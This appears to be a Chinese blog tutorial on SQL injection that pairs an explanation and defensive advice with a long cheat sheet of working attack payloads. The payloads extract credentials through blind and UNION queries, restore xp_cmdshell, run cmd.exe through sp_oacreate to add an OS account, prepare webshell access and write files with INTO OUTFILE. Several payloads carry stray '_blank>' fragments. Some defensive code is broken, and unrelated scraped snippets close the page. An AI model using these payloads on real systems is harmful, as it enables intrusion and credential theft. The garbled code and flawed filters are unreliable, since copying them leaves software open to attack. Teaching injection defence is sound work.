本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html

http://www.diybl.com/course/7_databases/sql/msshl/2007616/59684_2.html

目录:

一、什么是sql注入?

二、SQL注入常用方式

三、如何防御sql注入攻击

一、什么是sql注入?

案例:

  日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。

网络安全成为了现在互联网的焦点,这也恰恰触动了每一位网络用户的神经,由于设计的漏洞导致了不可收拾的恶果,验证了一句话“出来混的,迟早是要还的”,所以我们来通过本文的SQL注入的讲解,介绍一些常用的攻击技术和防范策略。

1、什么是sql注入呢?

所谓SQL注入,就是通过把SQL命令插入到Web表单或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

首先让我们了解什么时候可能发生SQL Injection。

假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以在URL中嵌入恶意SQL语句。

  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。

  做为网络开发者对这种黑客行为恨之入骨的同时,当然很有必要了解一下SQL注入这种攻击方式的原理,并学会如何通过代码来保护自己的网站数据库。

2、sql注入产生原因

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。

  比如验证用户是否存在的SQL语句为:用户名'and pswd='密码,如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1,将绕过验证,但这种手段只对Statement有效,对PreparedStatement无效。

相对Statement而言,PreparedStatement有以下优点:

1.防注入攻击;
    2.多次运行速度快;
    3.防止数据库缓冲区溢出;
    4.代码的可读性可维护性好;
 这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。


3、sql注入原理

下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。

SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

SQL注入式攻击的主要形式有两种。一是直接攻击方法,将代码插入到   与SQL命令串联在一起并使得其以执行的    用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。二是间接的攻击方法,将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。

4、SQL注入攻击的简单示例:

这里我们举一个比较常见的例子来简要说明一下sql注入的原理。假如我们有一个users表,里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。比如:"select id from users where username = '"+username +"' and password = '"  + password +"'" 这里的username和password都是我们存取从web表单获得的数据。下面我们来看一下一种简单的注入,如果我们在表单中username的输入框中输入' or 1=1--
,password的表单中随便输入一些东西,假如这里输入123.此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1--  and password = '123',我们来看一下这个sql,因为1=1是true,后面 and password = '123'被注释掉了。所以这里完全跳过了sql验证。

二、SQL注入常用方式

SQL注入攻击的总体思路

1.寻找到SQL注入的位置;

2.判断服务器类型和后台数据库类型;

3.针对不通的服务器和数据库特点进行SQL注入攻击。

常用注入语句:

1.判断有无注入点
  ; and 1=1 and 1=2

2.猜表一般的表的名称,无非是admin adminuser user pass password 等..
  and 0<>(select count(*) from *)
  and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面说明帐号数目就是1个
  and 0<(select count(*) from admin)
  and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
  and 1=(select count(*) from admin where len(*)>0)--
  and 1=(select count(*) from admin where len(用户字段名称name)>0)
  and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
  and 1=(select count(*) from admin where len(*)>0)
  and 1=(select count(*) from admin where len(name)>6) 错误
  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
  and 1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select count(*) from admin where len(password)>11) 正确
  and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
  and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
  and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
  and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
  and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
  这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  group by users.id having 1=1--
  group by users.id, users.username, users.password, users.privs having 1=1--
  ; insert into users values( 666, attacker, foobar, 0xffff )--

  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable-
  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

  >_id)-
  UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS

  WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank

  >_id,login_blank>_name)-
  UNION SELECT TOP 1 login_blank>_name FROM logintable-
  UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--

看_blank>服务器打的补丁=出错了打了SP4补丁
  and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
  and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
  and sa=(SELECT System_blank>_user)--
  and user_blank>_name()=dbo--
  and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除
  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_

  blank>_cmdshell)--

  xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
  ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
  ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\

  xplog70.dll--

反向PING自己实验
  ;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>

  _oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
  ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

  _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add--

创建一个虚拟目录E盘:
  ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

  run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--

访问属性:(配合写入一个webshell)
  declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

  run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

………

===MYSQL基础部分===

本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

三、如何防御sql注入攻击

 如何防止SQL Injection,总的来说有以下几点:

1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。


1.采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

使用好处:

(1).代码的可读性和可维护性.

(2).PreparedStatement尽最大可能提高性能.

(3).最重要的一点是极大地提高了安全性.

 <span style="font-size:14px;">String sql= "select * from users where username=? and password=?;

3     PreparedStatement preState = conn.prepareStatement(sql);

     preState.setString(1, userName);
6
    preState.setString(2, password); 9     ResultSet rs = preState.executeQuery(); </span>

  原理:sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题。

2.使用正则表达式过滤传入的参数

正则表达式:

  private String CHECKSQL = “^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$”;

判断是否匹配:

  Pattern.matches(CHECKSQL,targerStr);

下面是具体的正则表达式:

检测SQL meta-characters的正则表达式 :/(\%27)|(\’)|(\-\-)|(\%23)|(#)/ix

修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]*((\%27)|(\’)|(\-\-)|(\%3B)|(:))/i

典型的SQL 注入攻击的正则表达式 :/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)

检测MS SQL Server SQL注入攻击的正则表达式:/exec(\s|\+)+(s|x)p\w+/ix

等等…..

其实可以简单的使用replace方法也可以实现上诉功能:

public static String TransactSQLInjection(String str)
          {
                return str.replaceAll(".*([';]+|(--)+).*", " ");
          }


3.字符串过滤

比较通用的一个方法:

(||之间的参数可以根据自己程序的需要添加)

 <span style="font-size:14px;">public static boolean sql_inj(String str)
{
String inj_str = "'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
String inj_stra[] = split(inj_str,"|");
  for (int i=0 ; i < inj_stra.length ; i++ )
    {
8       if (str.indexOf(inj_stra[i])>=0)
      {
10        return true;
      }
12     }
  return false;
}</span>

4.jsp中调用该函数检查是否包函非法字符

防止SQL从URL注入:

sql_inj.java代码:

 <span style="font-size:14px;">package sql_inj;
import java.net.*;
import java.io.*;
import java.sql.*;
import java.text.*;
import java.lang.String;
public class sql_inj{
  public static boolean sql_inj(String str)
  {
  String inj_str = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"; //这里的东西还可以自己添加
  String[] inj_stra=inj_str.split("\\|");
    for (int i=0 ; i < inj_stra.length ; i++ )
    {
16     if (str.indexOf(inj_stra[i])>=0)
      {
      return true;
      }
    }
    return false;
  }
} </span>

5.JSP页面添加客户端判断代码:

使用javascript在客户端进行不安全字符屏蔽

功能介绍:检查是否含有”‘”,”\\”,”/”

参数说明:要检查的字符串

返回值:     0:是       1:不是

函数名是:

 <span style="font-size:14px;">function check(a)
{
return 1;
fibdn = new Array (”‘” ,”\\”,”/”);
i=fibdn.length;
j=a.length;
for (ii=0; ii<i; ii++)
8   { for (jj=0; jj<j; jj++)
    { temp1=a.charAt(jj);
      temp2=fibdn[ii];
      if (tem’; p1==temp2)
12       { return 0; }
    }
  }
15   return 1;
} </span>

6、注入防范

服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()

参考文章:http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

SQL注入——SQL Injection的更多相关文章

  1. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. DVWA 黑客攻防演练(八)SQL 注入 SQL Injection

    web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...

  4. 仿sql注入 sql

    <?phpclass sqlsafe { //(and|or)\\b 表示以and和or结尾的单词如:aand,band,都可以匹配//如果匹配and或or则使用 \\b(and|or)\\b来 ...

  5. JDBC课程4--使用PreparedStatement进行增删查改--封装进JDBCTools的功能中;模拟SQL注入 ; sql的date()传入参数值格式!

    主要内容: /*SQL 的date()需要传入参数值: preparedStatement().setDate(new java.util.Date().getTime()); 熟悉了使用Prepar ...

  6. 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query

    目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...

  7. php中防止SQL注入的方法

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  8. 在php中防止SQL注入的方法

    摘要:我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PH ...

  9. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

随机推荐

  1. 牛客网 python 求解立方根

    •计算一个数字的立方根,不使用库函数 详细描述: •接口说明 原型: public static double getCubeRoot(double input) 输入:double 待求解参数 返回 ...

  2. css 样式 记录

    /* Track */::-webkit-scrollbar-track { -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); -webkit-bo ...

  3. python HTML报告

    http://www.cnblogs.com/puresoul/p/7490737.html # coding:utf-8import timeimport unittestimport HTMLTe ...

  4. python 知识梳理

    1.数据类型:字符串,列表,元组,字典,集合.处理每种数据类型的函数 2.判断与循环部分 3.高级函数:lambda,map,reduce,filter 4.自定义模块以及第三方模块 5.函数式编程 ...

  5. Confluence 6 字符集编码的问题解决

    如果你的 Confluence 站点的字符集没有被正确配置,你可能会遇到下面的问题: Non-ASCII 字符将会显示为问号(?) Non-ASCII 字符集的页面链接将不能工作 单一字符将会被显示为 ...

  6. python 之面向对象的三大特性

    面向对象的三大特性 继承 继承和组合 继承进阶 封装 封装(有待完善) 多态 多态

  7. Gitbush笔记

    1.如果要想模拟浏览器发送get请求,就要使用Request对象,通过Request对象添加HTTP头,就可以伪装成浏览器. from urllib impor request req=request ...

  8. shell 脚本加密

    日常编写shell脚本时会写一些账号和密码写入脚本内,但是不希望泄露账号密码,所以对shell脚本进行加密变成可执行文件. 主要使用 shc 对 Linux shell 脚本加密,shc是一个专业的加 ...

  9. Idea 12配置SPring MVC 和Tomcat Server

    配置Spring 1. 添加idea插件 都选上了.也许有用! 2. 添加Spring库 下载spring,添加java库,指向spring库的目录: 配置tomcat Server 1. 安装tom ...

  10. 输出GPLT

    L1-023 输出GPLT (20 分)   给定一个长度不超过10000的.仅由英文字母构成的字符串.请将字符重新调整顺序,按GPLTGPLT....这样的顺序输出,并忽略其它字符.当然,四种字符( ...